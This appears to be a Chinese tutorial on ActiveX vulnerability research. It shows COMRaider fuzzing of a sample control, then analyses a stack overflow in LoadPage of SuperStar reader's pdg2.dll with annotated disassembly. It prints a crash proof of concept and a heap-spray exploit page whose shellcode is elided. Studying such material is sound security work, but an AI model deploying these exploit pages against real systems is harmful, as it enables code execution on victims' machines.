安装好程序 注册vuln.dll文件 启动程序,单击start 打开vuln.dll,COMRaider 程序将会分析出当前 ActiveX 控件所有的用户接口
这里选择“Method1”用户接口作为被测试用户接口,这是一个函数类型的用户接口,它包含一个 String 类型的参数。 右击选择“Fuzz member” 选择“Fuzz member”选项后,COMRaider 程序将生成测试模板,同时在程序右下方显示这些测试模板文件 单击“Next” 单击“Begin Fuzzing”,COMRaider 程序将会进入自动测试状态。期间,程序会弹出窗口或者给出警告提示等现象。
结果有10次异常
点击出现“Caused Exception”错误的任意一行,在COMRaider 程序窗口的中间部分会显示出发生错误的具体指令信息。
双击指令可看到更详细的信息 右击选择“View File” 出现一个记事本 COMRaider 程序生成的测试模板使用的是 VBS 脚本。上面这段测试脚本中,arg1 这个变量为一个 5140 字节的字符串,它被当做参数传递给 Method1,而这个用户接口没有正确处理好长字符串参数,最终出现异常。
上面右击菜单中有一个“Launch in Olly”的选项 在设置里的Debugger选择OD位置即可 启动OD
超星浏览器是超星公司开发的图书阅览器,专门针对数字图书的阅览、下载、打印、版权保护和下载计费而开发的著名图书阅览器。在 4.0 版本中控件 pdg2.dll 的 LoadPage 函数对参数校验不严格,存在典型的字符串缓冲区溢出漏洞。
首先用 COMRaider 程序打开该文件,查看一下 Loadpage 函数的具体参数
可以看到 LoadPage 函数中存在一个字符串类型的变量,如果程序在使用这个变量前没有进行长度判断的话就有可能造成缓冲区溢出。 不妨先对 LoadPage 函数传递一个1000 字节的字符串进行尝试,例如,通过如下代码来进行测试。
<html> <body> <object classid='clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2' id='target' /> </object> <script language='javascript'> var str = ''; while(str.length <1000) str += '\x0a\x0a\x0a\x0a'; target.LoadPage(str, 1, 1, 1); </script> </body> </html>用IE打开后崩溃 用 OllyDbg附加 Internet Explorer 浏览器,待 Internet Explorer 浏览器完全被 OllyDbg 加载后在 DispCallFunc 函数上下断点
在 OLEAUT32.dll 中 DisCallFunc 函数上设置断点 在IE中输入poc地址,运行,中断 单步运行程序直到 CALL ECX 处 当 ECX 指向 pdg2.dll 空间中,用 F7 键单步跟入就可以到达 LoadPage 函数
经历了漫长的跟踪后发现问题出在位于 0x****3DC0 处的函数中(为什么是 0x****3DC0?这是因为每次重新加载 pdg2.dll 其加载基址都是变化的)。
在这个函数中程序开辟了 268 (0x10c)个字节的空间,但是在像其中复制字符串的时候没有检查复制字符串的长度,使得返回地址被覆盖,进而在函数返回时出现问题
02A03DC0 81EC 0C010000 sub esp,0x10C //开辟了 268 (0x10c)个字节的空间 02A03DC6 8BD1 mov edx,ecx 02A03DC8 83C9 FF or ecx,-0x1 02A03DCB 33C0 xor eax,eax 02A03DCD 53 push ebx 02A03DCE 56 push esi 02A03DCF 57 push edi 02A03DD0 8BBC24 20010000 mov edi,dword ptr ss:[esp+0x120] 02A03DD7 F2:AE repne scas byte ptr es:[edi] 02A03DD9 F7D1 not ecx 02A03DDB 2BF9 sub edi,ecx 02A03DDD 8D5C24 18 lea ebx,dword ptr ss:[esp+0x18] //取得复制的目标地址 02A03DE1 8BC1 mov eax,ecx 02A03DE3 8BF7 mov esi,edi 02A03DE5 8BFB mov edi,ebx 02A03DE7 C1E9 02 shr ecx,0x2 02A03DEA F3:A5 rep movs dword ptr es:[edi],dword ptr ds> //复制,将会覆盖函数返回地址 02A03DEC 8BC8 mov ecx,eax 02A03DEE 8B82 943F0000 mov eax,dword ptr ds:[edx+0x3F94] 02A03DF4 83E1 03 and ecx,0x3 02A03DF7 83F8 01 cmp eax,0x1 02A03DFA F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[> 02A03DFC 0F85 18010000 jnz pdg2.02A03F1A 02A03E02 6A 07 push 0x7 02A03E04 8D4C24 1C lea ecx,dword ptr ss:[esp+0x1C] 02A03E08 68 C8D1AC02 push pdg2.02ACD1C8 ; ASCII "http://" 02A03E0D 51 push ecx 02A03E0E E8 DD640200 call pdg2.02A2A2F0 02A03E13 83C4 0C add esp,0xC如下代码来实现 exploit:
<html> <body> <object classid='clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2' id='target' /></object> <script> var nops = unescape("%u9090%u9090"); var shellcode="\u68fc\u0a6a……\uff53\uf857"; while (nops.length < 0x100000) nops += nops; nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length); nops=nops+shellcode; var memory = new Array(); for (var i=0;i<200;i++) memory[i] += nops; var str = ''; while(str.length <256) str += '\x0a\x0a\x0a\x0a'; str = str + "\x0c\x0c\x0c\x0c" ; target.LoadPage(str, 1, 1, 1); </script> </body> </html>用 IE 直接打开这个 POC 页面可以看到熟悉的对话框弹出来了
